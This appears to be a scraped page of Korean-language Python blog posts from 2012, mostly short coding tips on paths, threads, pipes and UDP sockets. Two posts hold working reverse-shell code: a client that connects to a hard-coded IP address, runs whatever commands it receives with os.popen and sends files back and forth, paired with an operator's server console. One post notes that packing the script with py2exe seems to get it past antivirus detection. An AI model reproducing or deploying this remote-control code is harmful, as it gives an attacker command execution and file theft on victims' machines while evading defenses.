TIME_SLEEP = 1

########################################################################

## DEFINE

########################################################################

def fileC2S(conn,fileName):

print ":: DownLoading... ::"

time.sleep(TIME_SLEEP)


f = open('_'+fileName,'wb')

while 1:

data = conn.recv(1024)

if data.find('[@EOF]') >=0 :

break

else :

f.write(data)

print ":: FINISH :: "

f.close()


def fileS2C(conn,fileName) :

print ":: Uploading... ::"

time.sleep(TIME_SLEEP)


f = open(fileName,'rb')

while 1 :

fileData = f.read()

if fileData=='' :

time.sleep(TIME_SLEEP)

conn.sendall("[@EOF]")

break

else :

conn.sendall(fileData)

print "::: FINISH :: "

f.close()


############################################################################

##   MAIN 

############################################################################

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

sock.bind(('',PORT))

sock.listen(5)

print ":: waitting... :: "

conn,client = sock.accept()

print client

while 1:

input_value = raw_input('>')

if len(input_value) < 1 :

print '>'


elif input_value.find('@DOWN') >= 0 or input_value.find('@down') >=0 : 

conn.sendall(input_value)

fileParse=os.path.split(input_value[6::])

fileC2S(conn,fileParse[1])

elif input_value.find('@UP') >= 0 or input_value.find('@up') >= 0 :

conn.sendall(input_value)

fileS2C(conn,input_value[4::])


elif input_value.find('exit') >= 0 or input_value.find('quit')>=0 :

break


else : 

conn.sendall(input_value)

data=conn.recv(2048)

print data


sock.close()



Client



import socket

import os

import time

HOST='223.194.105.120'

PORT = 1235

TIME_SLEEP = 1

##################################################################

## DEFINE 

###################################################################

def fileC2S(sock,fileName):

f = open(fileName,'rb')

while 1:

fileData=f.read()

if fileData =='' :

time.sleep(TIME_SLEEP)

sock.send("[@EOF]")

break

else : 

sock.send(fileData)


def fileS2C(sock,fileName) :

fileParse = os.path.split(fileName);

f = open('_'+fileParse[1],'wb')

while 1:

data = sock.recv(1024)

if data.find('[@EOF]') >= 0 :

break

else : 


f.write(data)

f.close()


#####################################################################

## MAIN

#####################################################################

sock =  socket.socket(socket.AF_INET,socket.SOCK_STREAM)

sock.connect((HOST,PORT))


while 1:

data = sock.recv(255)

if data.find('@DOWN') >= 0 or data.find('@down') >=0 :

fileC2S(sock,data[6::])

elif data.find('@UP') >= 0 or data.find('@up')>=0 :

fileS2C(sock,data[4::])

else :

if data[0:2].find('cd') >= 0:

os.chdir(data[3::])

sock.send("Moving..")

else :

p = os.popen(data)

sock.send("====================================\n"+p.read())

p.close()


sock.close()

 



Posted by k1rha
2012. 9. 26. 19:38

#!/usr/bin/python
# -*- coding: cp949 -*-

import os


s = os.path.split("/My Jukebox/Cool Jazz.mp3")

# 디렉토리명 구하기
print s[0]  # /My Jukebox

# 패스에서 파일명만 구하기
print s[1]  # Cool Jazz.mp3

# 확장자만 구하기
s = os.path.splitext("/My Jukebox/Cool Jazz.mp3")
print s[1]  # .mp3




# 이번에는, 드라이브명까지 포함된 Windows 전용 패스를 취급
s = os.path.splitdrive("D:/My Jukebox/Cool Jazz.mp3")

# 드라이브 이름 (MS윈도우의 경우)
print s[0]  # D:

# 드라이브명이 제거된 패스 구하기
print s[1]  # /My Jukebox/Cool Jazz.mp3

Posted by k1rha
2012. 9. 25. 16:14

파이썬 코딩중 재밌는것은 파이썬코드를 그대로 exe 파일로 변환 시킬수 있는 프로그램(?) 이 있다는 것이다.

하나는 freeze 라는 것이고 (혹은 cx_freeze)  또하나는 py2exe 이다 .

 

한데 재밌는 사실은 이렇게 만들어진 프로그램은 알아서 패킹이 된다는 점이다.

그리고 system call 을 호출시 백신에서 탐지되던 부분도 없어 지는 듯하다.

 

즉 python 으로 리버스커넥션을 짜면 system call 류중 하나로 아쥬 아쥬 심플하게 리버스 커넥션을 구현 할 수 있다.

 

[Client ]

 

import socket
import os


HOST='223.194.105.120'
PORT = 1235
sock =  socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((HOST,PORT))

while 1:
        data = sock.recv(255)
        print data
        p=os.popen(data)
        sock.send("RESULT \n"+p.read())

        p.close()

sock.close()

 

Server

 

import socket
PORT=1235

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.bind(('',PORT))
sock.listen(5)
conn,client = sock.accept()
print client
while 1:
        input_value = raw_input('>')
        print input_value

        conn.sendall(input_value)
        data = conn.recv(2048)
        print data
sock.close()

 

 

 

 

아래는 결과 화면이다.

 

 

 

 

Posted by k1rha
2012. 9. 10. 19:50

from array import *

from subprocess import *

from socket import *

import os


SEND_MSG =""

PROCCESS_PATH ="checkList.conf"

PROCLIST_FILE = open(PROCCESS_PATH,'r')

PATH_LIST = PROCLIST_FILE.readlines()

flag = 0

i=0;

while len(PATH_LIST)>i :

# print(PATH_LIST[i])

pipe = os.popen(PATH_LIST[i])

RESULT_VALUE = pipe.readlines()

j=0

if(len(RESULT_VALUE[j])<1) : 

SEND_MSG = PATH_LIST[i]+"can`t resume !! "

break


while len(RESULT_VALUE) > j :

SEND_MSG =SEND_MSG+RESULT_VALUE[j]

j=j+1


i=i+1

pipe.close()


print(SEND_MSG)

Posted by k1rha
2012. 8. 17. 11:37

root@ubuntu:~/k1rha/python/http# python blind.py

Traceback (most recent call last):

  File "blind.py", line 1, in <module>

    import urllib.request

  File "/usr/lib/python3.2/urllib/request.py", line 88, in <module>

    import http.client

  File "/usr/lib/python3.2/http/client.py", line 69, in <module>

    import email.parser

  File "/usr/lib/python3.2/email/parser.py", line 12, in <module>

    from email.feedparser import FeedParser

  File "/usr/lib/python3.2/email/feedparser.py", line 27, in <module>

    from email import message

  File "/usr/lib/python3.2/email/message.py", line 17, in <module>

    from email import utils

  File "/usr/lib/python3.2/email/utils.py", line 28, in <module>

    import socket

  File "/root/k1rha/python/http/socket.py", line 7, in <module>

    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

AttributeError: 'module' object has no attribute 'AF_INET'

root@ubuntu:~/k1rha/python/http# 

위와같인 에러가 떴을때 아래와 같은 결과를 얻을수 있었다. 

h I found the problem, it seems I cant run socket things from my home folder ... I moved the script into a new folder and it worked.

Thanks.


즉 폴더에 소켓생성권한이 없기떄문에 다른 폴더로 옮겨 실행했다는 내용이다 필자도 비슷하게 해결봄.

Posted by k1rha
2012. 8. 9. 01:30

thread를 이용할 경우 혹은 간혹 전역변수가 필요할 때가 있다.

python은 일반적으로 모든 변수들을 지역변수로 사용한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/python
 
import sys
import threading
 
global_value = 0
local_value = 0
 
def function(number, local_value) :
    global global_value
 
    global_value += 10
    local_value += 10
 
    sys.stdout.write("[Thread #%d] global_value: %d\n"
            % (number, global_value))
    sys.stdout.write("[Thread #%d] local_value: %d\n"
            % (number, local_value))
 
def main(thread_count) :
    threads = []
    for i in range(thread_count) :
        print "Create Thread #%d" % i
        threads.append(threading.Thread(target=function,
            args=(i,local_value)))
 
    for i in range(thread_count) :
        print "Start Thread #%d" % i
        threads[i].start()
 
    for i in range(thread_count) :
        threads[i].join()
        print "End Thread #%d" % i
 
if __name__ == "__main__" :
    main(5)
전역변수와 지역변수를 사용한 예제다.
사용하려는 곳에서 global을 이용하여 해당 변수가 전역변수라는 것을 알린다.

10번째 줄을 주석처리해보면 할당되지 않은 영역을 참조했다는 에러 메시지를 확인할 수 있다.

Posted by k1rha
2012. 7. 18. 16:00

쓰레드를 돌리고 싶은경우 2.7 - > 3.2로 넘어가는 순간 import 되는 것이 thread 에서 _thread 로 변경되엇다.


참조 사이트 : http://docs.python.org/py3k/library/_thread.html?highlight=thread#_thread.start_new_thread



[ example ] 

import _thread, time


g_count = 0


def counter(id,count):

global g_count

for i in range(count):

print ('id %s--> %s' % (id,i))

g_count - g_count +1


_thread.start_new_thread(counter,(1,10000))


time.sleep(3)


print ('total counter = ', g_count)

print ('exit') 


Posted by k1rha
2012. 7. 18. 15:45

system 함수를 사용하여 명령어를 칠경우, 그 값을 리턴 받고 싶을때가 있다.

Python은 이것을 파이프를 통해 간단하게 가져 올 수가 있다.



        pipe = Popen("df -h",shell=True,stdout=PIPE)

        DF_RESULT = pipe.stdout.readlines()[1].split()

        if(int(DF_RESULT[4][0:1])>95):

                print(" ::::  DANGER!! HardDisk is full IN"+SERVER_NAME)


        else:

                print(""); 

 

위와같은 케이스는 하드드라이브의 용량을 체크하는 구절을 위해 만든 구문이다. 

위와같이 shell 옵션과 stdout 옵션을 통해 가지고 popen 을 하면 파이프를 통해 가져올 수 있다.

Posted by k1rha
2012. 7. 18. 15:41

UDP server - client를 구현중 python 3.2 에서는 이상한 에러를 자주 뱉어 내게 된다. 


이이유는 sendto가 2.7에서는 string 으로 전송이 가능하였지만 3.2 부터는 바이트로 전송이 되어야 하기 때문이다.



예제코드는 아래와 같다

[ server ]


 def socketServer():

        svrsock = socket(AF_INET,SOCK_DGRAM)

        svrsock.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)

        try:

                svrsock.bind(('',34444))

        except IOError:

                print ("Socket bindding error plz use another port \n")


        while 1:

                try :

                        s,addr = svrsock.recvfrom(100)

                        print(s)

                        svrsock.sendto(bytes(ALTERT_MESSAGE,'ascii'),addr)  //여기가 오류를 뱉어낸 부분이다.


                except IOError:

                        print ('socket sendto error')



[ client ] 


 import socket


HOST = '127.0.0.1'    # The remote host

PORT = 34444              # The same port as used by the server

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

sock.sendto(bytes("aaa",'ascii'), (HOST, PORT))


buff=sock.recvfrom(100)


print(buff)



Posted by k1rha
2012. 7. 16. 23:27

사례. 


file 을 리스트의 목록에 따라 여러개를 호출해 주려고 하였었다.

변수명을 미리 선언해주지 않는 python 의 특징이 있지만, 배열의 경우는 미리 선언을 해 주어야한다. 

미리 선언방식은 [None] 를 원하는 배열 크기만큼 곱하여 미리 선언해 주면된다.



FILE_LOG = [None] * len(LIST)

위와같이 선언시에 리스트 내용의 갯수만큼 FILE_LOG 리스트가 생겨난다. 


ex1)


FILE = [None] * len(LOG_PATH_LIST)

while len(LOG_PATH_LIST) > i :

     FILE_LOG[i] = open(LOG_PATH_LIST[i],'r+');

     FILE_END[i] = FILE_LOG[i].seek(0,2)

.

.




Posted by k1rha